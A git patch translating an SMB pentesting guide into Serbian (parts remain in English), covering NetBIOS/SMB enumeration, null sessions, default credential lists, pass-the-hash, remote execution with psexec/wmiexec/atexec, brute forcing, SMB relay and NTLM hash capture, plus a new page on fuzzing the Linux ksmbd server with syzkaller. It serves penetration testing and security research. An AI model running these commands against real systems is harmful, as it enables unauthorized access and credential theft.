From 2d80c613b94763dfa74cf1345a0f2ee5f7f9f131 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 8 Sep 2025 06:19:48 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-smb/README.md', --- src/SUMMARY.md | 1 + .../pentesting-smb/README.md | 183 ++++++++------- ...bd-attack-surface-and-fuzzing-syzkaller.md | 219 ++++++++++++++++++ 3 files changed, 315 insertions(+), 88 deletions(-) create mode 100644 src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 793c88a81..b18b11ccd 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -494,6 +494,7 @@ - [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md) - [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md) - [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md) + - [Ksmbd Attack Surface And Fuzzing Syzkaller](network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md) - [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md) - [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md) - [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md) diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 8eb0f97bd..3bb68ab68 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,59 +4,60 @@ ## **Port 139** -_**Network Basic Input Output System**_** (NetBIOS)** je softverski protokol dizajniran da omogući aplikacijama, računarima i radnim stanicama unutar lokalne mreže (LAN) da interaguju sa mrežnim hardverom i **olakšaju prenos podataka preko mreže**. Identifikacija i lokacija softverskih aplikacija koje rade na NetBIOS mreži se postiže kroz njihove NetBIOS nazive, koji mogu biti dugi do 16 karaktera i često se razlikuju od imena računara. NetBIOS sesija između dve aplikacije se inicira kada jedna aplikacija (koja deluje kao klijent) izda komandu da "pozove" drugu aplikaciju (koja deluje kao server) koristeći **TCP Port 139**. +The _**Mrežni osnovni ulazno/izlazni sistem**_** (NetBIOS)** je softverski protokol dizajniran da omogući aplikacijama, računarima i desktop računarima unutar lokalne mreže (LAN) da komuniciraju sa mrežnim hardverom i **olakšaju prenos podataka preko mreže**. Identifikacija i lociranje softverskih aplikacija koje rade na NetBIOS mreži ostvaruje se pomoću njihovih NetBIOS imena, koja mogu imati do 16 karaktera i često se razlikuju od imena računara. NetBIOS sesija između dve aplikacije pokreće se kada jedna aplikacija (koja deluje kao klijent) izda komandu da "pozove" drugu aplikaciju (koja deluje kao server) koristeći **TCP Port 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -Tehnički, Port 139 se naziva ‘NBT over IP’, dok se Port 445 identifikuje kao ‘SMB over IP’. Akronim **SMB** označava ‘**Server Message Blocks**’, koji je takođe modernije poznat kao **Common Internet File System (CIFS)**. Kao protokol mrežnog sloja aplikacije, SMB/CIFS se prvenstveno koristi za omogućavanje deljenog pristupa datotekama, štampačima, serijskim portovima i olakšavanje različitih oblika komunikacije između čvorova na mreži. +Tehnički, Port 139 se naziva ‘NBT over IP’, dok je Port 445 identifikovan kao ‘SMB over IP’. Akronim **SMB** označava ‘**Server Message Blocks**’, koji je modernije poznat kao **Common Internet File System (CIFS)**. Kao mrežni protokol na aplikacionom nivou, SMB/CIFS se primarno koristi za omogućavanje deljenog pristupa fajlovima, štampačima, serijskim portovima i za olakšavanje različitih oblika komunikacije između čvorova na mreži. -Na primer, u kontekstu Windows-a, ističe se da SMB može raditi direktno preko TCP/IP, eliminišući potrebu za NetBIOS-om preko TCP/IP, korišćenjem porta 445. S druge strane, na različitim sistemima, primećuje se korišćenje porta 139, što ukazuje na to da se SMB izvršava u kombinaciji sa NetBIOS-om preko TCP/IP. +Na primer, u kontekstu Windows-a, ističe se da SMB može raditi direktno preko TCP/IP, eliminišući potrebu za NetBIOS over TCP/IP, korišćenjem porta 445. Suprotno tome, na drugim sistemima se koristi port 139, što ukazuje da se SMB izvršava zajedno sa NetBIOS over TCP/IP. ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB -Protokol **Server Message Block (SMB)**, koji funkcioniše u **klijent-server** modelu, dizajniran je za regulisanje **pristupa datotekama**, direktorijumima i drugim mrežnim resursima poput štampača i rutera. Primarno se koristi unutar serije operativnih sistema **Windows**, SMB obezbeđuje unazadnu kompatibilnost, omogućavajući uređajima sa novijim verzijama Microsoftovog operativnog sistema da besprekorno komuniciraju sa onima koji koriste starije verzije. Pored toga, projekat **Samba** nudi rešenje slobodnog softvera, omogućavajući implementaciju SMB-a na **Linux** i Unix sistemima, čime se olakšava međusobna komunikacija putem SMB-a. +The **Server Message Block (SMB)** protocol, operating in a **client-server** model, is designed for regulating **access to files**, directories, and other network resources like printers and routers. Primarily utilized within the **Windows** operating system series, SMB ensures backward compatibility, allowing devices with newer versions of Microsoft's operating system to seamlessly interact with those running older versions. Additionally, the **Samba** project offers a free software solution, enabling SMB's implementation on **Linux** and Unix systems, thereby facilitating cross-platform communication through SMB. -Deljenja, koja predstavljaju **arbitrarne delove lokalnog fajl sistema**, mogu biti obezbeđena od strane SMB servera, čineći hijerarhiju vidljivom klijentu delimično **nezavisnom** od stvarne strukture servera. **Access Control Lists (ACLs)**, koje definišu **prava pristupa**, omogućavaju **fino podešavanje** kontrole nad dozvolama korisnika, uključujući atribute kao što su **`execute`**, **`read`** i **`full access`**. Ove dozvole mogu biti dodeljene pojedinačnim korisnicima ili grupama, na osnovu deljenja, i razlikuju se od lokalnih dozvola postavljenih na serveru. +Shares, representing **arbitrary parts of the local file system**, can be provided by an SMB server, making the hierarchy visible to a client partly **independent** from the server's actual structure. The **Access Control Lists (ACLs)**, which define **access rights**, allow for **fine-grained control** over user permissions, including attributes like **`execute`**, **`read`**, and **`full access`**. These permissions can be assigned to individual users or groups, based on the shares, and are distinct from the local permissions set on the server. ### IPC$ Share -Pristup IPC$ deljenju može se dobiti putem anonimne null sesije, omogućavajući interakciju sa servisima izloženim putem imenovanih cevi. Alat `enum4linux` je koristan za ovu svrhu. Kada se pravilno koristi, omogućava sticanje: +Access to the IPC$ share can be obtained through an anonymous null session, allowing for interaction with services exposed via named pipes. The utility `enum4linux` is useful for this purpose. Utilized properly, it enables the acquisition of: -- Informacija o operativnom sistemu -- Detalja o matičnoj domeni -- Kompilacije lokalnih korisnika i grupa -- Informacija o dostupnim SMB deljenjima -- Efektivnoj bezbednosnoj politici sistema +- Information on the operating system +- Details on the parent domain +- A compilation of local users and groups +- Information on available SMB shares +- The effective system security policy -Ova funkcionalnost je ključna za mrežne administratore i stručnjake za bezbednost da procene bezbednosni položaj SMB (Server Message Block) usluga na mreži. `enum4linux` pruža sveobuhvatan pregled SMB okruženja ciljnog sistema, što je od suštinskog značaja za identifikaciju potencijalnih ranjivosti i osiguranje da su SMB usluge pravilno zaštićene. +This functionality is critical for network administrators and security professionals to assess the security posture of SMB (Server Message Block) services on a network. `enum4linux` provides a comprehensive view of the target system's SMB environment, which is essential for identifying potential vulnerabilities and ensuring that the SMB services are properly secured. ```bash enum4linux -a target_ip ``` -Gore navedena komanda je primer kako se `enum4linux` može koristiti za izvođenje potpune enumeracije protiv cilja koji je naveden kao `target_ip`. +Gornja komanda je primer kako se `enum4linux` može koristiti za izvođenje potpune enumeracije protiv cilja navedenog kao `target_ip`. ## Šta je NTLM -Ako ne znate šta je NTLM ili želite da saznate kako funkcioniše i kako ga iskoristiti, ova stranica o **NTLM** će vam biti veoma zanimljiva, gde je objašnjeno **kako ovaj protokol funkcioniše i kako možete da iskoristite njegove prednosti:** +Ako ne znate šta je NTLM ili želite da saznate kako funkcioniše i kako ga zloupotrebiti, biće vam veoma zanimljiva ova stranica o **NTLM** na kojoj je objašnjeno **kako ovaj protokol radi i kako ga možete iskoristiti:** + {{#ref}} ../../windows-hardening/ntlm/ {{#endref}} -## **Server Enumeration** +## **Enumeracija servera** -### **Skener** mreže u potrazi za hostovima: +### **Scan** mreže u potrazi za hostovima: ```bash nbtscan -r 192.168.0.1/24 ``` -### SMB server version +### Verzija SMB servera -Da biste tražili moguće eksploite za SMB verziju, važno je znati koja verzija se koristi. Ako ova informacija ne pojavljuje u drugim korišćenim alatima, možete: +Da biste tražili moguće exploits za SMB verziju, važno je znati koja verzija se koristi. Ako ova informacija nije prikazana u drugim alatima koje koristite, možete: -- Koristiti **MSF** pomoćni modul `**auxiliary/scanner/smb/smb_version**` +- Koristite **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**` - Ili ovaj skript: ```bash #!/bin/sh @@ -79,25 +80,25 @@ echo "" && sleep .1 msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` -### **Moguće** Kredencijale +### **Mogući** Credentials -| **Korisničko ime** | **Uobičajene lozinke** | +| **Username(s)** | **Common passwords** | | -------------------- | ----------------------------------------- | -| _(prazno)_ | _(prazno)_ | -| gost | _(prazno)_ | -| Administrator, admin | _(prazno)_, lozinka, administrator, admin | +| _(blank)_ | _(blank)_ | +| guest | _(blank)_ | +| Administrator, admin | _(blank)_, password, administrator, admin | | arcserve | arcserve, backup | | tivoli, tmersrvd | tivoli, tmersrvd, admin | | backupexec, backup | backupexec, backup, arcada | -| test, lab, demo | lozinka, test, lab, demo | +| test, lab, demo | password, test, lab, demo | ### Brute Force - [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb) -### SMB Informacije o Okruženju +### Informacije o SMB okruženju -### Dobijanje Informacija +### Dobijanje informacija ```bash #Dump interesting information enum4linux -a [-u "" -p ""] @@ -121,7 +122,7 @@ rpcclient -U "username%passwd" #With creds ``` ### Enumerisanje korisnika, grupa i prijavljenih korisnika -Ove informacije bi već trebale biti prikupljene iz enum4linux i enum4linux-ng +Ove informacije bi već trebalo da budu prikupljene iz enum4linux i enum4linux-ng ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] @@ -133,7 +134,7 @@ rpcclient -U "" -N 10.10.10.10 enumdomusers enumdomgroups ``` -### Enumerate local users +### Enumeracija lokalnih korisnika [Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py) ```bash @@ -143,13 +144,13 @@ Oneliner ```bash for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` -### Metasploit - Enumerate local users +### Metasploit - Enumeracija lokalnih korisnika ```bash use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run ``` -### **Enumeracija LSARPC i SAMR rpcclient** +### **Enumerisanje LSARPC i SAMR rpcclient** {{#ref}} @@ -162,7 +163,7 @@ rpcclient-enumeration.md `xdg-open smb://cascade.htb/` -#### U prozoru za pretragu fajlova (nautilus, thunar, itd) +#### U prozoru file browser-a (nautilus, thunar, itd) `smb://friendzone.htb/general/` @@ -170,7 +171,7 @@ rpcclient-enumeration.md ### Lista deljenih foldera -Uvek se preporučuje da proverite da li možete pristupiti bilo čemu, ako nemate kredencijale pokušajte koristiti **null** **kredencijale/gost korisnik**. +Uvek se preporučuje da proverite da li možete pristupiti bilo čemu; ako nemate kredencijale, pokušajte koristiti **null** **credentials/guest user**. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -184,7 +185,7 @@ crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` -### **Povezivanje/Lista deljene fascikle** +### **Poveži/Izlistaj deljenu fasciklu** ```bash #Connect using smbclient smbclient --no-pass /// @@ -196,11 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` -### **Ručno enumerisanje Windows deljenja i povezivanje na njih** +### **Ručno nabrajanje windows shares i povezivanje na njih** -Može biti moguće da ste ograničeni u prikazivanju bilo kakvih deljenja host mašine i kada pokušate da ih navedete, čini se da ne postoje deljenja na koja možete da se povežete. Stoga bi moglo biti korisno pokušati ručno povezivanje na deljenje. Da biste ručno enumerisali deljenja, možda biste želeli da tražite odgovore poput NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME, kada koristite važeću sesiju (npr. null sesija ili važeće akreditive). Ovi odgovori mogu ukazivati na to da li deljenje postoji i nemate pristup ili deljenje uopšte ne postoji. +Moguće je da vam je onemogućeno prikazivanje share-ova na host mašini i da kada pokušate da ih nabrojite izgleda kao da nema share-ova za povezivanje. Zato vredi ukratko pokušati ručno se povezati na neki share. Da biste ručno enumerisali shares, obratite pažnju na odgovore poput NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME kada koristite validnu sesiju (npr. null session ili valid credentials). To može ukazivati da li share postoji ali nemate pristup, ili da share uopšte ne postoji. -Uobičajena imena deljenja za Windows ciljeve su +Common share names for windows targets are - C$ - D$ @@ -211,14 +212,14 @@ Uobičajena imena deljenja za Windows ciljeve su - SYSVOL - NETLOGON -(Uobičajena imena deljenja iz _**Network Security Assessment 3rd edition**_) +(Uobičajeni nazivi share-ova iz _**Network Security Assessment 3rd edition**_) -Možete pokušati da se povežete na njih koristeći sledeću komandu +Možete pokušati da se povežete koristeći sledeću komandu ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` -или за овај скрипт (користећи нуллу сесију) +ili ovaj script (koristeći null session) ```bash #/bin/bash @@ -235,12 +236,12 @@ echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD fi done ``` -primjeri +primeri ```bash smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Enumerirajte deljenja sa Windows / bez alata trećih strana** +### **Prikaz deljenih resursa sa Windows-a / bez alata treće strane** PowerShell ```bash @@ -266,16 +267,16 @@ fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` -explorer.exe (grafički), unesite `\\\` da biste videli dostupne ne-skrivene deljene foldere. +explorer.exe (grafički), unesite `\\\` da biste videli dostupne neskrivene deljene foldere. -### Montirajte deljeni folder +### Montiranje deljenog foldera ```bash mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` -### **Preuzmite datoteke** +### **Preuzimanje fajlova** -Pročitajte prethodne odeljke da biste saznali kako se povezati sa kredencijalima/Pass-the-Hash. +Pročitajte prethodne sekcije da biste naučili kako da se povežete koristeći credentials/Pass-the-Hash. ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -290,36 +291,36 @@ smbclient /// > mget * #Download everything to current directory ``` -Commands: +Komande: -- mask: specificira masku koja se koristi za filtriranje fajlova unutar direktorijuma (npr. "" za sve fajlove) +- mask: određuje masku koja se koristi za filtriranje fajlova u direktorijumu (npr. "" za sve fajlove) - recurse: uključuje rekurziju (podrazumevano: isključeno) -- prompt: isključuje traženje imena fajlova (podrazumevano: uključeno) -- mget: kopira sve fajlove koji odgovaraju maski sa hosta na klijentsku mašinu +- prompt: isključuje upit za imena fajlova (podrazumevano: uključeno) +- mget: kopira sve fajlove koji odgovaraju maski sa hosta na klijent mašinu (_Informacije iz man stranice smbclient_) -### Pretraga deljenih foldera domena +### Pretraga deljenih foldera u domenu - [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` -- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) pauk. +- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider. - `-M spider_plus [--share ]` - `--pattern txt` ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Posebno zanimljivi su fajlovi nazvani **`Registry.xml`** jer **mogu sadržati lozinke** za korisnike podešene sa **autologon** putem Grupske politike. Takođe, **`web.config`** fajlovi sadrže akreditive. +Posebno su interesantni na share-ovima fajlovi nazvani **`Registry.xml`** jer oni **mogu sadržati lozinke** za korisnike konfigurisane sa **autologon** putem Group Policy. Takođe, **`web.config`** fajlovi često sadrže kredencijale. > [!TIP] -> **SYSVOL share** je **čitljiv** za sve autentifikovane korisnike u domenu. Tamo možete **pronaći** mnoge različite batch, VBScript i PowerShell **skripte**.\ -> Trebalo bi da **proverite** **skripte** unutar njega jer možete **pronaći** osetljive informacije kao što su **lozinke**. +> **SYSVOL share** je **čitljiv** za sve autentifikovane korisnike u domenu. Tamo možete **naći** mnoge različite batch, VBScript, i PowerShell **skripte**.\ +> Trebalo bi da **proverite** skripte u njemu jer biste mogli **naći** osetljive informacije kao što su **lozinke**. ## Čitanje registra -Možda ćete moći da **pročitate registar** koristeći neke otkrivene akreditive. Impacket **`reg.py`** vam omogućava da probate: +Možda ćete moći da **čitete registar** koristeći neke otkrivene kredencijale. Impacket **`reg.py`** vam omogućava da probate: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -327,26 +328,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 ``` ## Post Exploitation -**Podrazumevana konfiguracija** **Samba** servera se obično nalazi u `/etc/samba/smb.conf` i može imati neke **opasne konfiguracije**: +**podrazumevana konfiguracija** **Samba** servera obično se nalazi u `/etc/samba/smb.conf` i može sadržati neke **opasne konfiguracije**: -| **Podešavanje** | **Opis** | +| **Setting** | **Description** | | --------------------------- | ------------------------------------------------------------------- | -| `browseable = yes` | Dozvoliti listanje dostupnih deljenja u trenutnom deljenju? | -| `read only = no` | Zabraniti kreiranje i modifikaciju fajlova? | -| `writable = yes` | Dozvoliti korisnicima da kreiraju i modifikuju fajlove? | -| `guest ok = yes` | Dozvoliti povezivanje na servis bez korišćenja lozinke? | -| `enable privileges = yes` | Poštovati privilegije dodeljene specifičnom SID-u? | -| `create mask = 0777` | Koje dozvole moraju biti dodeljene novokreiranim fajlovima? | -| `directory mask = 0777` | Koje dozvole moraju biti dodeljene novokreiranim direktorijumima? | -| `logon script = script.sh` | Koji skript treba da se izvrši prilikom prijavljivanja korisnika? | -| `magic script = script.sh` | Koji skript treba da se izvrši kada se skript zatvori? | -| `magic output = script.out` | Gde treba da se sačuva izlaz magičnog skripta? | +| `browseable = yes` | Dozvoljava listanje dostupnih share-ova u trenutnom share-u? | +| `read only = no` | Zabrana kreiranja i modifikacije fajlova? | +| `writable = yes` | Dozvoljava korisnicima da kreiraju i menjaju fajlove? | +| `guest ok = yes` | Dozvoljava povezivanje na servis bez korišćenja lozinke? | +| `enable privileges = yes` | Poštuje privilegije dodeljene određenom SID-u? | +| `create mask = 0777` | Koje permisije treba dodeliti novokreiranim fajlovima? | +| `directory mask = 0777` | Koje permisije treba dodeliti novokreiranim direktorijumima? | +| `logon script = script.sh` | Koji skript treba da se izvrši pri prijavi korisnika? | +| `magic script = script.sh` | Koji skript treba biti izvršen kada se skripta bude zatvorena? | +| `magic output = script.out` | Gde treba sačuvati izlaz magic skripte? | -Komanda `smbstatus` daje informacije o **serveru** i o **tome ko je povezan**. +Komanda `smbstatus` daje informacije o **serveru** i o **ko je povezan**. ## Authenticate using Kerberos -Možete **autentifikovati** se na **kerberos** koristeći alate **smbclient** i **rpcclient**: +Možete se autentifikovati na Kerberos koristeći alate smbclient i rpcclient: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com @@ -355,7 +356,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec može izvršavati komande **zloupotrebljavajući** bilo koju od **mmcexec, smbexec, atexec, wmiexec**, pri čemu je **wmiexec** **podrazumevani** metod. Možete naznačiti koju opciju preferirate da koristite sa parametrima `--exec-method`: +crackmapexec može izvršavati komande koristeći bilo koji od **mmcexec, smbexec, atexec, wmiexec** pri čemu je **wmiexec** **podrazumevana** metoda. Možete naznačiti koju opciju želite da koristite parametrom `--exec-method`: ```bash apt-get install crackmapexec @@ -379,9 +380,9 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -Obe opcije će **napraviti novu uslugu** (koristeći _\pipe\svcctl_ putem SMB) na žrtvenom računaru i koristiti je da **izvrši nešto** (**psexec** će **otpremiti** izvršni fajl na ADMIN$ deljenje, a **smbexec** će se povezati na **cmd.exe/powershell.exe** i staviti u argumente payload --**tehnika bez fajlova-**-).\ +Obe opcije će **kreirati novu uslugu** (koristeći _\pipe\svcctl_ preko SMB-a) na žrtvinom računaru i iskoristiti je da **izvrše nešto** (**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-).\ **Više informacija** o [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) i [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ -U **kali** se nalazi na /usr/share/doc/python3-impacket/examples/ +Na **kali** se nalazi na /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted ./psexec.py [[domain/]username[:password]@] @@ -389,19 +390,19 @@ U **kali** se nalazi na /usr/share/doc/python3-impacket/examples/ psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -Koristeći **parameter**`-k` možete se autentifikovati protiv **kerberos** umesto **NTLM** +Koristeći **parameter**`-k` možete se autentifikovati pomoću **kerberos** umesto **NTLM** ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec -Tajno izvršite komandnu ljusku bez dodirivanja diska ili pokretanja nove usluge koristeći DCOM preko **port 135.**\ -U **kali** se nalazi na /usr/share/doc/python3-impacket/examples/ +Diskretno pokrenite komandni shell bez dodirivanja diska ili pokretanja novog servisa koristeći DCOM preko **port 135.**\ +U **kali** nalazi se u /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted ./wmiexec.py [[domain/]username[:password]@] #Prompt for password ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -Koristeći **parameter** `-k` možete se autentifikovati protiv **kerberos** umesto **NTLM** +Koristeći **parameter**`-k` možete da se autentifikujete pomoću **kerberos** umesto **NTLM** ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -410,40 +411,46 @@ Koristeći **parameter** `-k` možete se autentifikovati protiv **kerberos** ume ``` ### [AtExec](../../windows-hardening/lateral-movement/atexec.md) -Izvršite komande putem Task Scheduler-a (koristeći _\pipe\atsvc_ preko SMB).\ -U **kali** se nalazi na /usr/share/doc/python3-impacket/examples/ +Izvršavajte naredbe preko Task Scheduler-a (koristeći _\pipe\atsvc_ preko SMB).\ +Na **kali** se nalazi u /usr/share/doc/python3-impacket/examples/ ```bash ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" ``` -## Impacket reference +## Impacket referenca [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) -## **Bruteforce korisničkih akreditiva** +### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller) -**Ovo se ne preporučuje, mogli biste blokirati nalog ako premašite maksimalan dozvoljeni broj pokušaja** +{{#ref}} +ksmbd-attack-surface-and-fuzzing-syzkaller.md +{{#endref}} + +## **Bruteforce users credentials** + +**Ovo se ne preporučuje, možete blokirati nalog ako premašite maksimalno dozvoljen broj pokušaja** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` ## SMB relay attack -Ovaj napad koristi Responder alat za **hvatanje SMB autentifikacionih sesija** na unutrašnjoj mreži, i **preusmerava** ih na **ciljnu mašinu**. Ako je autentifikacija **sesija uspešna**, automatski ćete biti prebačeni u **sistem** **shell**.\ -[**Više informacija o ovom napadu ovde.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +Ovaj napad koristi Responder toolkit da bi **capture SMB authentication sessions** na internoj mreži, i **relays** ih na **target machine**. Ako je authentication **session is successful**, automatski će vas dovesti u **system** **shell**.\ +[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -Windows biblioteka URLMon.dll automatski pokušava da se autentifikuje na host kada stranica pokušava da pristupi nekom sadržaju putem SMB, na primer: `img src="\\10.10.10.10\path\image.jpg"` +Windows biblioteka URLMon.dll automatski pokušava da authenticate-uje prema hostu kada stranica pokuša da pristupi nekom sadržaju preko SMB, na primer: `img src="\\10.10.10.10\path\image.jpg"` -To se dešava sa funkcijama: +Ovo se dešava sa sledećim funkcijama: - URLDownloadToFile - URLDownloadToCache - URLOpenStream - URLOpenBlockingStream -Koje koriste neki pregledači i alati (kao što je Skype) +Koje koriste neki pregledači i alati (kao Skype) ![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) @@ -453,7 +460,7 @@ Koje koriste neki pregledači i alati (kao što je Skype) ## NTLM Theft -Slično SMB Trapping-u, postavljanje malicioznih fajlova na ciljni sistem (putem SMB, na primer) može izazvati pokušaj SMB autentifikacije, omogućavajući da se NetNTLMv2 hash presretne pomoću alata kao što je Responder. Hash se zatim može razbiti offline ili koristiti u [SMB relay attack](#smb-relay-attack). +Slično SMB Trapping-u, postavljanje malicioznih fajlova na target system (npr. preko SMB) može izazvati SMB authentication pokušaj, što omogućava presretanje NetNTLMv2 hasha pomoću alata kao što je Responder. Hash potom može biti razbijen offline ili iskorišćen u [SMB relay attack](#smb-relay-attack). [See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md new file mode 100644 index 000000000..3f69560e3 --- /dev/null +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -0,0 +1,219 @@ +# ksmbd Površina napada i fuzzing SMB2/SMB3 protokola (syzkaller) + +{{#include ../../banners/hacktricks-training.md}} + +## Pregled +Ova stranica apstrahuje praktične tehnike za vežbanje i fuzzing Linux in-kernel SMB servera (ksmbd) koristeći syzkaller. Fokus je na proširenju attack surface protokola kroz konfiguraciju, izgradnji stateful harness-a sposobnog da lančano izvodi SMB2 operacije, generisanju PDUs validnih prema gramatici, usmeravanju mutacija ka slabo pokrivenim kodnim putevima i iskorišćavanju syzkaller funkcija kao što su focus_areas i ANYBLOB. Dok originalno istraživanje navodi specifične CVE-ove, ovde naglašavamo ponovljivo metodološko pristupanje i konkretne snippete koje možete prilagoditi sopstvenim setup-ovima. + +Ciljni obuhvat: SMB2/SMB3 preko TCP-a. Kerberos i RDMA su namerno van obuhvata da bi harness ostao jednostavan. + +--- + +## Proširenje ksmbd površine napada kroz konfiguraciju +Po defaultu, minimalan ksmbd setup ostavlja velike delove servera netestiranim. Omogućite sledeće funkcije da biste naterali server kroz dodatne parsere/handlere i dohvatili dublje kodne puteve: + +- Global-level +- Durable handles +- Server multi-channel +- SMB2 leases +- Per-share-level +- Oplocks (uključen po defaultu) +- VFS objects + +Omogućavanje ovih opcija povećava izvršavanje u modulima kao što su: +- smb2pdu.c (command parsing/dispatch) +- ndr.c (NDR encode/decode) +- oplock.c (oplock request/break) +- smbacl.c (ACL parsing/enforcement) +- vfs.c (VFS ops) +- vfs_cache.c (lookup cache) + +Napomene +- Tačne opcije zavise od vašeg distro-ovog ksmbd userspace-a (ksmbd-tools). Pregledajte /etc/ksmbd/ksmbd.conf i per-share sekcije da omogućite durable handles, leases, oplocks i VFS objects. +- Multi-channel i durable handles menjaju state machine i lifetime, često eksponirajući UAF/refcount/OOB bagove pod konkurentnošću. + +--- + +## Podešavanja autentifikacije i rate-limiting za fuzzing +SMB3 zahteva validnu sesiju. Implementacija Kerberos-a u harness-evima dodaje kompleksnost, pa se za fuzzing radije koristi NTLM/guest: + +- Dozvolite guest pristup i podesite map to guest = bad user tako da nepoznati korisnici padaju na GUEST. +- Prihvatite NTLMv2 